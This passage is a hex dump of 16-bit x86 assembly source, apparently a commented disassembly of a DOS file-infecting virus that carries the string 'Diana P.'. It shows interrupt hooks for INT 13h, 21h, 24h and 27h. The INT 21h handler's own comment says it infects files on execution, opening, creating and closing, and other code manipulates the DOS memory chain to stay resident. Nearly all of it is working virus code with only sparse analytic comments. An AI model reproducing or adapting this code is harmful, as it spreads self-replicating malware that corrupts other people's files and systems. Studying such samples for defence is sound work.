|00002210| 78 0a 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 |x. | int |
|00002220| 20 20 32 36 68 0a 20 0a | 0a 3b 20 54 68 65 20 77 | 26h. .|.; The w|
|00002230| 72 69 74 69 6e 67 20 74 | 72 6f 75 67 68 20 74 68 |riting t|rough th|
|00002240| 69 73 20 69 6e 74 65 72 | 72 75 70 74 20 69 73 20 |is inter|rupt is |
|00002250| 6e 6f 74 20 74 68 65 20 | 73 6d 61 72 74 65 73 74 |not the |smartest|
|00002260| 20 74 68 69 6e 67 2c 20 | 62 61 63 61 75 73 65 20 | thing, |bacause |
|00002270| 0a 69 74 0a 3b 20 63 61 | 6e 20 62 65 20 69 6e 74 |.it.; ca|n be int|
|00002280| 65 72 63 65 70 74 65 64 | 20 28 77 68 61 74 20 56 |ercepted| (what V|
|00002290| 65 73 73 65 6c 69 6e 20 | 42 6f 6e 74 63 68 65 76 |esselin |Bontchev|
|000022a0| 20 68 61 73 20 6d 61 6e | 61 67 65 64 20 74 6f 20 | has man|aged to |
|000022b0| 6e 6f 74 69 63 65 29 2e | 0a 20 0a 20 20 20 20 20 |notice).|. . |
|000022c0| 20 20 20 70 6f 70 20 20 | 20 20 20 61 78 0a 20 20 | pop | ax. |
|000022d0| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 63 78 | po|p cx|
|000022e0| 0a 20 20 20 20 20 20 20 | 20 70 6f 70 20 20 20 20 |. | pop |
|000022f0| 20 62 78 0a 20 20 20 20 | 20 20 20 20 70 6f 70 20 | bx. | pop |
|00002300| 20 20 20 20 61 78 0a 20 | 20 20 20 20 20 20 20 63 | ax. | c|
|00002310| 6d 70 20 20 20 20 20 62 | 79 74 65 20 70 74 72 20 |mp b|yte ptr |
|00002320| 5b 62 78 2b 30 61 68 5d | 2c 30 0a 20 20 20 20 20 |[bx+0ah]|,0. |
|00002330| 20 20 20 6a 6e 65 20 20 | 20 20 20 6e 6f 74 5f 6e | jne | not_n|
|00002340| 6f 77 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |ow. | mov |
|00002350| 20 20 20 64 78 2c 5b 62 | 78 2b 38 5d 0a 20 20 20 | dx,[b|x+8]. |
|00002360| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 62 78 0a | pop| bx.|
|00002370| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 | |push |
|00002380| 62 78 0a 20 20 20 20 20 | 20 20 20 69 6e 74 20 20 |bx. | int |
|00002390| 20 20 20 32 36 68 0a 73 | 6d 61 6c 6c 5f 64 69 73 | 26h.s|mall_dis|
|000023a0| 6b 3a 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |k:. | pop |
|000023b0| 20 20 20 61 78 0a 6e 6f | 74 5f 6e 6f 77 3a 0a 20 | ax.no|t_now:. |
|000023c0| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 73 | p|op s|
|000023d0| 69 0a 20 20 20 20 20 20 | 20 20 78 6f 72 20 20 20 |i. | xor |
|000023e0| 20 20 61 78 2c 61 78 0a | 20 20 20 20 20 20 20 20 | ax,ax.| |
|000023f0| 6d 6f 76 20 20 20 20 20 | 64 73 2c 61 78 0a 20 20 |mov |ds,ax. |
|00002400| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 78 | mo|v ax|
|00002410| 2c 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 73 69 |,word pt|r cs:[si|
|00002420| 2b 73 61 76 65 5f 69 6e | 74 5f 31 33 5d 0a 20 20 |+save_in|t_13]. |
|00002430| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 73 | mo|v ds|
|00002440| 3a 5b 31 33 68 2a 34 5d | 2c 61 78 0a 20 20 20 20 |:[13h*4]|,ax. |
|00002450| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 78 2c 77 | mov | ax,w|
|00002460| 6f 72 64 20 70 74 72 20 | 63 73 3a 5b 73 69 2b 73 |ord ptr |cs:[si+s|
|00002470| 61 76 65 5f 69 6e 74 5f | 31 33 2b 32 5d 0a 20 20 |ave_int_|13+2]. |
|00002480| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 73 | mo|v ds|
|00002490| 3a 5b 31 33 68 2a 34 2b | 32 5d 2c 61 78 0a 20 20 |:[13h*4+|2],ax. |
|000024a0| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 64 73 | po|p ds|
|000024b0| 0a 20 20 20 20 20 20 20 | 20 70 6f 70 20 20 20 20 |. | pop |
|000024c0| 20 61 78 0a 20 20 20 20 | 20 20 20 20 63 6d 70 20 | ax. | cmp |
|000024d0| 20 20 20 20 77 6f 72 64 | 20 70 74 72 20 63 73 3a | word| ptr cs:|
|000024e0| 5b 73 69 2b 6d 79 5f 73 | 61 76 65 5d 2c 35 61 34 |[si+my_s|ave],5a4|
|000024f0| 64 68 0a 20 20 20 20 20 | 20 20 20 6a 6e 65 20 20 |dh. | jne |
|00002500| 20 20 20 67 6f 5f 65 78 | 69 74 5f 63 6f 6d 0a 20 | go_ex|it_com. |
|00002510| 20 20 20 20 20 20 20 6a | 6d 70 20 20 20 20 20 65 | j|mp e|
|00002520| 78 69 74 5f 65 78 65 0a | 67 6f 5f 65 78 69 74 5f |xit_exe.|go_exit_|
|00002530| 63 6f 6d 3a 0a 20 20 20 | 20 20 20 20 20 6a 6d 70 |com:. | jmp|
|00002540| 20 20 20 20 20 65 78 69 | 74 5f 63 6f 6d 0a 69 6e | exi|t_com.in|
|00002550| 74 5f 32 34 3a 0a 20 20 | 20 20 20 20 20 20 6d 6f |t_24:. | mo|
|00002560| 76 20 20 20 20 20 61 6c | 2c 33 20 20 20 20 20 20 |v al|,3 |
|00002570| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 54 | | ;T|
|00002580| 68 69 73 20 69 6e 73 74 | 72 75 63 74 69 6f 6e 20 |his inst|ruction |
|00002590| 73 65 65 6d 73 20 0a 75 | 6e 6e 65 63 65 73 73 61 |seems .u|nnecessa|
|000025a0| 72 79 0a 20 20 20 20 20 | 20 20 20 69 72 65 74 0a |ry. | iret.|
|000025b0| 20 0a 3b 20 49 4e 54 20 | 32 37 68 20 68 61 6e 64 | .; INT |27h hand|
|000025c0| 6c 65 72 20 28 74 68 69 | 73 20 69 73 20 6e 65 63 |ler (thi|s is nec|
|000025d0| 65 73 73 61 72 79 29 0a | 20 0a 69 6e 74 5f 32 37 |essary).| .int_27|
|000025e0| 3a 0a 20 20 20 20 20 20 | 20 20 70 75 73 68 66 0a |:. | pushf.|
|000025f0| 20 20 20 20 20 20 20 20 | 63 61 6c 6c 20 20 20 20 | |call |
|00002600| 61 6c 6c 6f 63 0a 20 20 | 20 20 20 20 20 20 70 6f |alloc. | po|
|00002610| 70 66 0a 20 20 20 20 20 | 20 20 20 6a 6d 70 20 20 |pf. | jmp |
|00002620| 20 20 20 64 77 6f 72 64 | 20 70 74 72 20 63 73 3a | dword| ptr cs:|
|00002630| 5b 73 61 76 65 5f 69 6e | 74 5f 32 37 5d 0a 20 0a |[save_in|t_27]. .|
|00002640| 3b 20 44 75 72 69 6e 67 | 20 74 68 65 20 44 4f 53 |; During| the DOS|
|00002650| 20 66 75 6e 63 74 69 6f | 6e 73 20 53 65 74 20 26 | functio|ns Set &|
|00002660| 20 47 65 74 20 56 65 63 | 74 6f 72 20 69 74 20 73 | Get Vec|tor it s|
|00002670| 65 65 6d 73 20 74 68 61 | 74 20 74 68 65 20 76 69 |eems tha|t the vi|
|00002680| 72 75 73 20 68 61 73 20 | 0a 6e 6f 74 0a 3b 20 69 |rus has |.not.; i|
|00002690| 6e 74 65 72 63 65 70 74 | 65 64 20 74 68 65 6d 20 |ntercept|ed them |
|000026a0| 28 74 68 69 73 20 69 73 | 20 61 20 64 6f 75 62 74 |(this is| a doubt|
|000026b0| 66 75 6c 6c 20 61 64 76 | 61 6e 74 61 67 65 20 61 |full adv|antage a|
|000026c0| 6e 64 20 69 74 20 69 73 | 20 61 20 70 6f 73 73 69 |nd it is| a possi|
|000026d0| 62 6c 65 0a 3b 20 73 6f | 75 72 63 65 20 6f 66 20 |ble.; so|urce of |
|000026e0| 65 72 72 6f 72 73 20 77 | 69 74 68 20 73 6f 6d 65 |errors w|ith some|
|000026f0| 20 22 69 6e 74 65 6c 6c | 69 67 65 6e 74 22 20 70 | "intell|igent" p|
|00002700| 72 6f 67 72 61 6d 73 29 | 0a 20 0a 73 65 74 5f 69 |rograms)|. .set_i|
|00002710| 6e 74 5f 32 37 3a 0a 20 | 20 20 20 20 20 20 20 6d |nt_27:. | m|
|00002720| 6f 76 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |ov w|ord ptr |
|00002730| 63 73 3a 5b 73 61 76 65 | 5f 69 6e 74 5f 32 37 5d |cs:[save|_int_27]|
|00002740| 2c 64 78 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |,dx. | mov |
|00002750| 20 20 20 20 77 6f 72 64 | 20 70 74 72 20 63 73 3a | word| ptr cs:|
|00002760| 5b 73 61 76 65 5f 69 6e | 74 5f 32 37 2b 32 5d 2c |[save_in|t_27+2],|
|00002770| 64 73 0a 20 20 20 20 20 | 20 20 20 70 6f 70 66 0a |ds. | popf.|
|00002780| 20 20 20 20 20 20 20 20 | 69 72 65 74 0a 73 65 74 | |iret.set|
|00002790| 5f 69 6e 74 5f 32 31 3a | 0a 20 20 20 20 20 20 20 |_int_21:|. |
|000027a0| 20 6d 6f 76 20 20 20 20 | 20 77 6f 72 64 20 70 74 | mov | word pt|
|000027b0| 72 20 63 73 3a 5b 73 61 | 76 65 5f 69 6e 74 5f 32 |r cs:[sa|ve_int_2|
|000027c0| 31 5d 2c 64 78 0a 20 20 | 20 20 20 20 20 20 6d 6f |1],dx. | mo|
|000027d0| 76 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 63 |v wo|rd ptr c|
|000027e0| 73 3a 5b 73 61 76 65 5f | 69 6e 74 5f 32 31 2b 32 |s:[save_|int_21+2|
|000027f0| 5d 2c 64 73 0a 20 20 20 | 20 20 20 20 20 70 6f 70 |],ds. | pop|
|00002800| 66 0a 20 20 20 20 20 20 | 20 20 69 72 65 74 0a 67 |f. | iret.g|
|00002810| 65 74 5f 69 6e 74 5f 32 | 37 3a 0a 20 20 20 20 20 |et_int_2|7:. |
|00002820| 20 20 20 6c 65 73 20 20 | 20 20 20 62 78 2c 64 77 | les | bx,dw|
|00002830| 6f 72 64 20 70 74 72 20 | 63 73 3a 5b 73 61 76 65 |ord ptr |cs:[save|
|00002840| 5f 69 6e 74 5f 32 37 5d | 0a 20 20 20 20 20 20 20 |_int_27]|. |
|00002850| 20 70 6f 70 66 0a 20 20 | 20 20 20 20 20 20 69 72 | popf. | ir|
|00002860| 65 74 0a 67 65 74 5f 69 | 6e 74 5f 32 31 3a 0a 20 |et.get_i|nt_21:. |
|00002870| 20 20 20 20 20 20 20 6c | 65 73 20 20 20 20 20 62 | l|es b|
|00002880| 78 2c 64 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b |x,dword |ptr cs:[|
|00002890| 73 61 76 65 5f 69 6e 74 | 5f 32 31 5d 0a 20 20 20 |save_int|_21]. |
|000028a0| 20 20 20 20 20 70 6f 70 | 66 0a 20 20 20 20 20 20 | pop|f. |
|000028b0| 20 20 69 72 65 74 0a 20 | 0a 65 78 65 63 3a 0a 0a | iret. |.exec:..|
|000028c0| 0a 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 20 20 |. | call |
|000028d0| 20 64 6f 5f 66 69 6c 65 | 0a 20 20 20 20 20 20 20 | do_file|. |
|000028e0| 20 63 61 6c 6c 20 20 20 | 20 61 6c 6c 6f 63 0a 20 | call | alloc. |
|000028f0| 20 20 20 20 20 20 20 70 | 6f 70 66 0a 20 20 20 20 | p|opf. |
|00002900| 20 20 20 20 6a 6d 70 20 | 20 20 20 20 64 77 6f 72 | jmp | dwor|
|00002910| 64 20 70 74 72 20 63 73 | 3a 5b 73 61 76 65 5f 69 |d ptr cs|:[save_i|
|00002920| 6e 74 5f 32 31 5d 0a 20 | 0a 20 20 20 20 20 20 20 |nt_21]. |. |
|00002930| 20 64 62 20 20 20 20 20 | 20 27 44 69 61 6e 61 20 | db | 'Diana |
|00002940| 50 2e 27 2c 30 0a 20 0a | 3b 20 49 4e 54 20 32 31 |P.',0. .|; INT 21|
|00002950| 68 20 68 61 6e 64 6c 65 | 72 2e 20 20 49 6e 66 65 |h handle|r. Infe|
|00002960| 63 74 73 20 66 69 6c 65 | 73 20 64 75 72 69 6e 67 |cts file|s during|
|00002970| 20 65 78 65 63 75 74 69 | 6f 6e 2c 20 63 6f 70 79 | executi|on, copy|
|00002980| 69 6e 67 2c 20 62 72 6f | 77 73 69 6e 67 20 6f 72 |ing, bro|wsing or|
|00002990| 0a 3b 20 63 72 65 61 74 | 69 6e 67 20 61 6e 64 20 |.; creat|ing and |
|000029a0| 73 6f 6d 65 20 6f 74 68 | 65 72 20 6f 70 65 72 61 |some oth|er opera|
|000029b0| 74 69 6f 6e 73 2e 20 54 | 68 65 20 65 78 65 63 75 |tions. T|he execu|
|000029c0| 74 69 6f 6e 20 6f 66 20 | 66 75 6e 63 74 69 6f 6e |tion of |function|
|000029d0| 73 20 30 20 61 6e 64 20 | 0a 32 36 68 0a 3b 20 68 |s 0 and |.26h.; h|
|000029e0| 61 73 20 62 61 64 20 63 | 6f 6e 73 65 71 75 65 6e |as bad c|onsequen|
|000029f0| 63 65 73 2e 0a 20 0a 69 | 6e 74 5f 32 31 3a 0a 20 |ces.. .i|nt_21:. |
|00002a00| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 62 | p|ush b|
|00002a10| 70 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |p. | mov |
|00002a20| 20 20 62 70 2c 73 70 0a | 20 20 20 20 20 20 20 20 | bp,sp.| |
|00002a30| 70 75 73 68 20 20 20 20 | 5b 62 70 2b 36 5d 0a 20 |push |[bp+6]. |
|00002a40| 20 20 20 20 20 20 20 70 | 6f 70 66 0a 20 20 20 20 | p|opf. |
|00002a50| 20 20 20 20 70 6f 70 20 | 20 20 20 20 62 70 0a 20 | pop | bp. |
|00002a60| 20 20 20 20 20 20 20 70 | 75 73 68 66 0a 20 20 20 | p|ushf. |
|00002a70| 20 20 20 20 20 63 61 6c | 6c 20 20 20 20 6f 6e 74 | cal|l ont|
|00002a80| 6f 70 0a 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 |op. | cmp |
|00002a90| 20 20 20 61 78 2c 32 35 | 32 31 68 0a 20 20 20 20 | ax,25|21h. |
|00002aa0| 20 20 20 20 6a 65 20 20 | 20 20 20 20 73 65 74 5f | je | set_|
|00002ab0| 69 6e 74 5f 32 31 0a 20 | 20 20 20 20 20 20 20 63 |int_21. | c|
|00002ac0| 6d 70 20 20 20 20 20 61 | 78 2c 32 35 32 37 68 0a |mp a|x,2527h.|
|00002ad0| 20 20 20 20 20 20 20 20 | 6a 65 20 20 20 20 20 20 | |je |
|00002ae0| 73 65 74 5f 69 6e 74 5f | 32 37 0a 20 20 20 20 20 |set_int_|27. |
|00002af0| 20 20 20 63 6d 70 20 20 | 20 20 20 61 78 2c 33 35 | cmp | ax,35|
|00002b00| 32 31 68 0a 20 20 20 20 | 20 20 20 20 6a 65 20 20 |21h. | je |
|00002b10| 20 20 20 20 67 65 74 5f | 69 6e 74 5f 32 31 0a 20 | get_|int_21. |
|00002b20| 20 20 20 20 20 20 20 63 | 6d 70 20 20 20 20 20 61 | c|mp a|
|00002b30| 78 2c 33 35 32 37 68 0a | 20 20 20 20 20 20 20 20 |x,3527h.| |
|00002b40| 6a 65 20 20 20 20 20 20 | 67 65 74 5f 69 6e 74 5f |je |get_int_|
|00002b50| 32 37 0a 20 20 20 20 20 | 20 20 20 63 6c 64 0a 20 |27. | cld. |
|00002b60| 20 20 20 20 20 20 20 63 | 6d 70 20 20 20 20 20 61 | c|mp a|
|00002b70| 78 2c 34 62 30 30 68 0a | 20 20 20 20 20 20 20 20 |x,4b00h.| |
|00002b80| 6a 65 20 20 20 20 20 20 | 65 78 65 63 0a 20 20 20 |je |exec. |
|00002b90| 20 20 20 20 20 63 6d 70 | 20 20 20 20 20 61 68 2c | cmp| ah,|
|00002ba0| 33 63 68 0a 20 20 20 20 | 20 20 20 20 6a 65 20 20 |3ch. | je |
|00002bb0| 20 20 20 20 63 72 65 61 | 74 65 0a 20 20 20 20 20 | crea|te. |
|00002bc0| 20 20 20 63 6d 70 20 20 | 20 20 20 61 68 2c 33 65 | cmp | ah,3e|
|00002bd0| 68 0a 20 20 20 20 20 20 | 20 20 6a 65 20 20 20 20 |h. | je |
|00002be0| 20 20 63 6c 6f 73 65 0a | 20 20 20 20 20 20 20 20 | close.| |
|00002bf0| 63 6d 70 20 20 20 20 20 | 61 68 2c 35 62 68 0a 20 |cmp |ah,5bh. |
|00002c00| 20 20 20 20 20 20 20 6a | 6e 65 20 20 20 20 20 6e | j|ne n|
|00002c10| 6f 74 5f 63 72 65 61 74 | 65 0a 63 72 65 61 74 65 |ot_creat|e.create|
|00002c20| 3a 0a 20 20 20 20 20 20 | 20 20 63 6d 70 20 20 20 |:. | cmp |
|00002c30| 20 20 77 6f 72 64 20 70 | 74 72 20 63 73 3a 5b 66 | word p|tr cs:[f|
|00002c40| 69 6c 65 68 6e 64 6c 5d | 2c 30 3b 4d 61 79 20 62 |ilehndl]|,0;May b|
|00002c50| 65 20 30 20 69 66 20 74 | 68 65 20 66 69 6c 65 20 |e 0 if t|he file |
|00002c60| 69 73 20 6f 70 65 6e 0a | 20 20 20 20 20 20 20 20 |is open.| |
|00002c70| 6a 6e 65 20 20 20 20 20 | 64 6f 6e 74 5f 74 6f 75 |jne |dont_tou|
|00002c80| 63 68 0a 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 |ch. | call |
|00002c90| 20 20 20 73 65 65 5f 6e | 61 6d 65 0a 20 20 20 20 | see_n|ame. |
|00002ca0| 20 20 20 20 6a 6e 7a 20 | 20 20 20 20 64 6f 6e 74 | jnz | dont|
|00002cb0| 5f 74 6f 75 63 68 0a 20 | 20 20 20 20 20 20 20 63 |_touch. | c|
|00002cc0| 61 6c 6c 20 20 20 20 61 | 6c 6c 6f 63 0a 20 20 20 |all a|lloc. |
|00002cd0| 20 20 20 20 20 70 6f 70 | 66 0a 20 20 20 20 20 20 | pop|f. |
|00002ce0| 20 20 63 61 6c 6c 20 20 | 20 20 66 75 6e 63 74 69 | call | functi|
|00002cf0| 6f 6e 0a 20 20 20 20 20 | 20 20 20 6a 63 20 20 20 |on. | jc |
|00002d00| 20 20 20 69 6e 74 5f 65 | 78 69 74 0a 20 20 20 20 | int_e|xit. |
|00002d10| 20 20 20 20 70 75 73 68 | 66 0a 20 20 20 20 20 20 | push|f. |
|00002d20| 20 20 70 75 73 68 20 20 | 20 20 65 73 0a 20 20 20 | push | es. |
|00002d30| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 63 73 0a | pus|h cs.|
|00002d40| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|00002d50| 65 73 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |es. | push |
|00002d60| 20 20 20 73 69 0a 20 20 | 20 20 20 20 20 20 70 75 | si. | pu|
|00002d70| 73 68 20 20 20 20 64 69 | 0a 20 20 20 20 20 20 20 |sh di|. |
|00002d80| 20 70 75 73 68 20 20 20 | 20 63 78 0a 20 20 20 20 | push | cx. |
|00002d90| 20 20 20 20 70 75 73 68 | 20 20 20 20 61 78 0a 20 | push| ax. |
|00002da0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 64 | m|ov d|
|00002db0| 69 2c 6f 66 66 73 65 74 | 20 66 69 6c 65 68 6e 64 |i,offset| filehnd|
|00002dc0| 6c 0a 20 20 20 20 20 20 | 20 20 73 74 6f 73 77 0a |l. | stosw.|
|00002dd0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00002de0| 73 69 2c 64 78 0a 20 20 | 20 20 20 20 20 20 6d 6f |si,dx. | mo|
|00002df0| 76 20 20 20 20 20 63 78 | 2c 36 35 0a 6d 6f 76 65 |v cx|,65.move|
|00002e00| 5f 6e 61 6d 65 3a 0a 20 | 20 20 20 20 20 20 20 6c |_name:. | l|
|00002e10| 6f 64 73 62 0a 20 20 20 | 20 20 20 20 20 73 74 6f |odsb. | sto|
|00002e20| 73 62 0a 20 20 20 20 20 | 20 20 20 74 65 73 74 20 |sb. | test |
|00002e30| 20 20 20 61 6c 2c 61 6c | 0a 20 20 20 20 20 20 20 | al,al|. |
|00002e40| 20 6a 7a 20 20 20 20 20 | 20 61 6c 6c 5f 6f 6b 0a | jz | all_ok.|
|00002e50| 20 20 20 20 20 20 20 20 | 6c 6f 6f 70 20 20 20 20 | |loop |
|00002e60| 6d 6f 76 65 5f 6e 61 6d | 65 0a 20 20 20 20 20 20 |move_nam|e. |
|00002e70| 20 20 6d 6f 76 20 20 20 | 20 20 77 6f 72 64 20 70 | mov | word p|
|00002e80| 74 72 20 65 73 3a 5b 66 | 69 6c 65 68 6e 64 6c 5d |tr es:[f|ilehndl]|
|00002e90| 2c 63 78 0a 61 6c 6c 5f | 6f 6b 3a 0a 20 20 20 20 |,cx.all_|ok:. |
|00002ea0| 20 20 20 20 70 6f 70 20 | 20 20 20 20 61 78 0a 20 | pop | ax. |
|00002eb0| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 63 | p|op c|
|00002ec0| 78 0a 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |x. | pop |
|00002ed0| 20 20 64 69 0a 20 20 20 | 20 20 20 20 20 70 6f 70 | di. | pop|
|00002ee0| 20 20 20 20 20 73 69 0a | 20 20 20 20 20 20 20 20 | si.| |
|00002ef0| 70 6f 70 20 20 20 20 20 | 65 73 0a 67 6f 5f 65 78 |pop |es.go_ex|
|00002f00| 69 74 3a 0a 20 20 20 20 | 20 20 20 20 70 6f 70 66 |it:. | popf|
|00002f10| 0a 20 20 20 20 20 20 20 | 20 6a 6e 63 20 20 20 20 |. | jnc |
|00002f20| 20 69 6e 74 5f 65 78 69 | 74 20 20 20 20 20 20 20 | int_exi|t |
|00002f30| 20 20 20 20 20 20 20 20 | 20 3b 4a 4d 50 0a 63 6c | | ;JMP.cl|
|00002f40| 6f 73 65 3a 0a 20 20 20 | 20 20 20 20 20 63 6d 70 |ose:. | cmp|
|00002f50| 20 20 20 20 20 62 78 2c | 77 6f 72 64 20 70 74 72 | bx,|word ptr|
|00002f60| 20 63 73 3a 5b 66 69 6c | 65 68 6e 64 6c 5d 0a 20 | cs:[fil|ehndl]. |
|00002f70| 20 20 20 20 20 20 20 6a | 6e 65 20 20 20 20 20 64 | j|ne d|
|00002f80| 6f 6e 74 5f 74 6f 75 63 | 68 0a 20 20 20 20 20 20 |ont_touc|h. |
|00002f90| 20 20 74 65 73 74 20 20 | 20 20 62 78 2c 62 78 0a | test | bx,bx.|
|00002fa0| 20 20 20 20 20 20 20 20 | 6a 7a 20 20 20 20 20 20 | |jz |
|00002fb0| 64 6f 6e 74 5f 74 6f 75 | 63 68 0a 20 20 20 20 20 |dont_tou|ch. |
|00002fc0| 20 20 20 63 61 6c 6c 20 | 20 20 20 61 6c 6c 6f 63 | call | alloc|
|00002fd0| 0a 20 20 20 20 20 20 20 | 20 70 6f 70 66 0a 20 20 |. | popf. |
|00002fe0| 20 20 20 20 20 20 63 61 | 6c 6c 20 20 20 20 66 75 | ca|ll fu|
|00002ff0| 6e 63 74 69 6f 6e 0a 20 | 20 20 20 20 20 20 20 6a |nction. | j|
|00003000| 63 20 20 20 20 20 20 69 | 6e 74 5f 65 78 69 74 0a |c i|nt_exit.|
|00003010| 20 20 20 20 20 20 20 20 | 70 75 73 68 66 0a 20 20 | |pushf. |
|00003020| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 64 73 | pu|sh ds|
|00003030| 0a 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 |. | push |
|00003040| 20 63 73 0a 20 20 20 20 | 20 20 20 20 70 6f 70 20 | cs. | pop |
|00003050| 20 20 20 20 64 73 0a 20 | 20 20 20 20 20 20 20 70 | ds. | p|
|00003060| 75 73 68 20 20 20 20 64 | 78 0a 20 20 20 20 20 20 |ush d|x. |
|00003070| 20 20 6d 6f 76 20 20 20 | 20 20 64 78 2c 6f 66 66 | mov | dx,off|
|00003080| 73 65 74 20 66 69 6c 65 | 68 6e 64 6c 2b 32 0a 20 |set file|hndl+2. |
|00003090| 20 20 20 20 20 20 20 63 | 61 6c 6c 20 20 20 20 64 | c|all d|
|000030a0| 6f 5f 66 69 6c 65 0a 20 | 20 20 20 20 20 20 20 6d |o_file. | m|
|000030b0| 6f 76 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |ov w|ord ptr |
|000030c0| 63 73 3a 5b 66 69 6c 65 | 68 6e 64 6c 5d 2c 30 0a |cs:[file|hndl],0.|
|000030d0| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|000030e0| 64 78 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |dx. | pop |
|000030f0| 20 20 20 64 73 0a 20 20 | 20 20 20 20 20 20 6a 6d | ds. | jm|
|00003100| 70 20 20 20 20 20 67 6f | 5f 65 78 69 74 0a 6e 6f |p go|_exit.no|
|00003110| 74 5f 63 72 65 61 74 65 | 3a 0a 20 20 20 20 20 20 |t_create|:. |
|00003120| 20 20 63 6d 70 20 20 20 | 20 20 61 68 2c 33 64 68 | cmp | ah,3dh|
|00003130| 0a 20 20 20 20 20 20 20 | 20 6a 65 20 20 20 20 20 |. | je |
|00003140| 20 74 6f 75 63 68 0a 20 | 20 20 20 20 20 20 20 63 | touch. | c|
|00003150| 6d 70 20 20 20 20 20 61 | 68 2c 34 33 68 0a 20 20 |mp a|h,43h. |
|00003160| 20 20 20 20 20 20 6a 65 | 20 20 20 20 20 20 74 6f | je| to|
|00003170| 75 63 68 0a 20 20 20 20 | 20 20 20 20 63 6d 70 20 |uch. | cmp |
|00003180| 20 20 20 20 61 68 2c 35 | 36 68 20 20 20 20 20 20 | ah,5|6h |
|00003190| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 55 6e 66 | | ;Unf|
|000031a0| 6f 72 74 75 6e 61 74 65 | 6c 79 2c 20 74 68 65 20 |ortunate|ly, the |
|000031b0| 63 6f 6d 6d 61 6e 64 20 | 0a 69 6e 74 65 72 2d 0a |command |.inter-.|
|000031c0| 20 20 20 20 20 20 20 20 | 6a 6e 65 20 20 20 20 20 | |jne |
|000031d0| 64 6f 6e 74 5f 74 6f 75 | 63 68 20 20 20 20 20 20 |dont_tou|ch |
|000031e0| 20 20 20 20 20 20 20 20 | 3b 70 72 65 74 65 72 20 | |;preter |
|000031f0| 64 6f 65 73 20 6e 6f 74 | 20 75 73 65 20 74 68 69 |does not| use thi|
|00003200| 73 20 0a 66 75 6e 63 74 | 69 6f 6e 0a 74 6f 75 63 |s .funct|ion.touc|
|00003210| 68 3a 0a 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 |h:. | call |
|00003220| 20 20 20 73 65 65 5f 6e | 61 6d 65 0a 20 20 20 20 | see_n|ame. |
|00003230| 20 20 20 20 6a 6e 7a 20 | 20 20 20 20 64 6f 6e 74 | jnz | dont|
|00003240| 5f 74 6f 75 63 68 0a 20 | 20 20 20 20 20 20 20 63 |_touch. | c|
|00003250| 61 6c 6c 20 20 20 20 64 | 6f 5f 66 69 6c 65 0a 64 |all d|o_file.d|
|00003260| 6f 6e 74 5f 74 6f 75 63 | 68 3a 0a 20 20 20 20 20 |ont_touc|h:. |
|00003270| 20 20 20 63 61 6c 6c 20 | 20 20 20 61 6c 6c 6f 63 | call | alloc|
|00003280| 0a 20 20 20 20 20 20 20 | 20 70 6f 70 66 0a 20 20 |. | popf. |
|00003290| 20 20 20 20 20 20 63 61 | 6c 6c 20 20 20 20 66 75 | ca|ll fu|
|000032a0| 6e 63 74 69 6f 6e 0a 69 | 6e 74 5f 65 78 69 74 3a |nction.i|nt_exit:|
|000032b0| 0a 20 20 20 20 20 20 20 | 20 70 75 73 68 66 0a 20 |. | pushf. |
|000032c0| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 64 | p|ush d|
|000032d0| 73 0a 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 |s. | call |
|000032e0| 20 20 67 65 74 5f 63 68 | 61 69 6e 0a 20 20 20 20 | get_ch|ain. |
|000032f0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 62 79 74 65 | mov | byte|
|00003300| 20 70 74 72 20 64 73 3a | 5b 30 5d 2c 27 5a 27 0a | ptr ds:|[0],'Z'.|
|00003310| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|00003320| 64 73 0a 20 20 20 20 20 | 20 20 20 70 6f 70 66 0a |ds. | popf.|
|00003330| 64 75 6d 6d 79 20 20 20 | 70 72 6f 63 20 20 20 20 |dummy |proc |
|00003340| 66 61 72 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |far | |
|00003350| 20 20 20 20 20 20 20 20 | 3b 3f 3f 3f 0a 20 20 20 | |;???. |
|00003360| 20 20 20 20 20 72 65 74 | 20 20 20 20 20 32 0a 64 | ret| 2.d|
|00003370| 75 6d 6d 79 20 20 20 65 | 6e 64 70 0a 20 0a 3b 20 |ummy e|ndp. .; |
